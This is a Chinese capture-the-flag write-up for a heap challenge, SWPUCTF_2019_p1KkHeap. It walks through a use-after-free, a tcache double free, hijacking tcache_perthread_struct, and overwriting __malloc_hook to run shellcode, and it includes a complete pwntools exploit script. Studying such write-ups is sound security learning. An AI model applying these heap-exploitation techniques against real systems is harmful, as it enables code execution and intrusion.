SWPUCTF_2019_p1KkHeap
我们惯例先来checksec一下
保护全开的64位程序 放进ida64里看看
一道还算标准的菜单题
main函数
需要注意的是此处限制了我们的操作次数不得多于12
需要注意的是在begin函数中我们在0x66660000位置上分配了一段rwx权限的区域 很明显就是让我们把chunk劫持到此处来写入shellcode
漏洞点在delete函数
此处很经典的未将指针置零 存在uaf漏洞 但需要注意的是此处限制了delete次数 不得多于3次 这样 我们常规的方法就不太好实行了
由于常规方法不能实行 我们考虑利用tcache_perthread_struct来
首先让我们来了解一下tcache_perthread_struct 。
tcache_perthread_struct
结构体在堆上,大小一般为0x250
。它的前64个字节,分别代表0x20~0x410
大小的chunk(包括chunk头)
的数量。当超过7
的时候,再次释放的chunk
会被放入到fastbin
或者unsorted bin
。后面的内存,则分别表示0x20~0x410
大小tcache bins
的首地址
当tcache_perthread_struct中的size对应的tcache个数为0而tcache的首地址不为空时会继续将首地址取出来分配 而此时tcache的个数会变成ff(即-1)
那么此时我们的思路就已经很清晰了 首先我们leak堆地址 计算出tcache_perthread_struct的地址 然后将chunk劫持到tcache_perthread_struct上去
add(0x100) #chunk 0
add(0x100) #chunk 1
delete(1)
delete(1)
heap_addr=show(1) #this will leak chunk 1 addr
tcache_struct = heap_addr - 0x360
add(0x100) #chunk 2
edit(2, p64(tcache_struct) * 2)
接下来我们利用tcache_perthread_struct将chunk迁移至0x66660000上然后在上面写入我们的shellcode
add(0x100) #chunk 3
add(0x100) #chunk 4
edit(4,0xb8*'\x00'+p64(0x66660000)) #edit tcache_struct
add(0x100) #chunk 5
shellcode = shellcraft.open('flag', 0)
shellcode += shellcraft.read(3, 0x66660300, 0x30)
shellcode += shellcraft.write(1, 0x66660300, 0x30)
edit(5, asm(shellcode)) #read shellcode into 0x66660000
同样的方式我们泄露libc的地址然后将malloc_hook中的内容篡改为0x66660000这样我们调用malloc的时候就调用了0x66660000上的内容即执行了我们的shellcode 成功打印flag
delete(0) #this time because the size of tcache 0x100 in tcache_perthread_struct is ff which is bigger than 7 so this chunk will goto unsrted bin
main_arena_96 = show(0) #unsorted bin leak
malloc_hook = main_arena_96 - 0x70
edit(4, 0xb8 * b'\x00' + p64(malloc_hook)) #edit tcache_struct
add(0x100) #chunk 6
edit(6,p64(0x66660000))
io.sendlineafter("Your Choice: ", '1')
io.sendlineafter("size: ", str(100))
io.interactive()
exp:
from pwn import *
context.update(arch='amd64', os='linux', endian='little')
#io = process('./SWPUCTF_2019_p1KkHeap')
io=remote('node4.buuoj.cn',25926)
def add(size):
io.sendlineafter("Your Choice: ", '1')
io.sendlineafter("size: ", str(size))
io.recvuntil("Done!\n")
def show(idx):
io.sendlineafter("Your Choice: ", '2')
io.sendlineafter("id: ", str(idx))
msg = io.recvline()
leak_addr = msg[9:15]
leak_addr = u64(leak_addr.ljust(8, b'\x00'))
print(hex(leak_addr))
io.recvuntil("Done!\n")
return leak_addr
def edit(idx, content):
io.sendlineafter("Your Choice: ", '3')
io.sendlineafter("id: ", str(idx))
io.sendafter("content: ", content)
io.recvuntil("Done!\n")
def delete(idx):
io.sendlineafter("Your Choice: ", '4')
io.sendlineafter("id: ", str(idx))
io.recvuntil("Done!\n")
add(0x100) #chunk 0
add(0x100) #chunk 1
delete(1)
delete(1)
heap_addr=show(1) #this will leak chunk 1 addr
tcache_struct = heap_addr - 0x360
add(0x100) #chunk 2
edit(2, p64(tcache_struct) * 2)
add(0x100) #chunk 3
add(0x100) #chunk 4
edit(4,0xb8*'\x00'+p64(0x66660000)) #edit tcache_struct
add(0x100) #chunk 5
shellcode = shellcraft.open('flag', 0)
shellcode += shellcraft.read(3, 0x66660300, 0x30)
shellcode += shellcraft.write(1, 0x66660300, 0x30)
edit(5, asm(shellcode)) #read shellcode into 0x66660000
delete(0) #this time because the size of tcache 0x100 in tcache_perthread_struct is ff which is bigger than 7 so this chunk will goto unsrted bin
main_arena_96 = show(0) #unsorted bin leak
malloc_hook = main_arena_96 - 0x70
edit(4, 0xb8 * b'\x00' + p64(malloc_hook)) #edit tcache_struct
add(0x100) #chunk 6
edit(6,p64(0x66660000))
io.sendlineafter("Your Choice: ", '1')
io.sendlineafter("size: ", str(100))
io.interactive()
本文参考了Lynne师傅的博客https://www.cnblogs.com/LynneHuan/p/14589294.html